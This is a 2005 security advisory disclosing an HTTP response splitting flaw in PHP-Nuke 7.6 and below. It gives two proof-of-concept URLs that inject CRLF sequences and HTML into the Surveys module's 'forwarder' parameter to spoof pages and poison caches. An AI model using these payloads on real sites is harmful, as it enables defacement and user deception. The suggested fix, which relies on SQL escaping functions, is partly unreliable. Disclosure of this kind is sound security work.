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HSC Research Group -
Advisories
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Written by Hackers Center
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Friday, 15 April 2005 22:23 |
 Dcrab "s Security Advisory
[Hsc Security Group] http://www.hackerscenter.com/
[dP Security] http://digitalparadox.org/
Get Dcrab"s Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digitalparadox.org/services.ah
Severity: High
Title: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below
Date: 15/04/2005
Vendor: Php-Nuke
Vendor Website: http://www.phpnuke.org
Summary: There are, http response splitting vulnerability in php-nuke 7.6 and below.
Proof of Concept Exploits:
A simple POC can be as follows,
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
A more serious version involving Cross user defacement, cache poisoning and page hijacking can be,
http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3E<title>This is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> Welcome to my PHP Nuke Website, This is a spoofed page that you are seeing and can be used for great evils details about which can be read in http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic Crab. </center> Feel free to contact me about this vulnerablitiy at dcrab {at} hackerscenter [dot] com<font color=black>%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.
Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah
Author:
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://digitalparadox.org/. Lookout for my soon to come out book on Secure coding with php.
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